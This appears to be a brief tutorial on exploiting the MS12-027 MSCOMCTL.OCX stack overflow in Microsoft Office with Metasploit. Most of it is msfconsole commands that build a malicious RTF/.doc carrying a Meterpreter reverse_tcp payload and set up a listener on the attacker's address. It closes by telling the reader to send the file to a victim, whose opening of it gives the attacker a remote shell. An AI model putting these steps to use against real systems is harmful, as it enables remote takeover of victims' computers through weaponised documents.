This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited in the wild on April 2012. This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office 2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses “msgr3en.dll”, which will load after office got load, so the malicious file must be loaded through “File / Open” to achieve exploitation.
MS office 2007 on windows XP SP 2, 3
MS office 2010 on windows 7/SP1
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/fileformat/ms12_027_mscomctl_bof
msf exploit (ms12_027_mscomctl_bof)>set payload windows/meterpreter/reverse_tcp
msf exploit (ms12_027_mscomctl_bof)>set lhost 192.168.1.3 (IP of Local Host)
msf exploit (ms12_027_mscomctl_bof)>exploit
After we successfully generate the malicious doc File, it will stored on your local computer
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.3
Now send your msf.doc files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
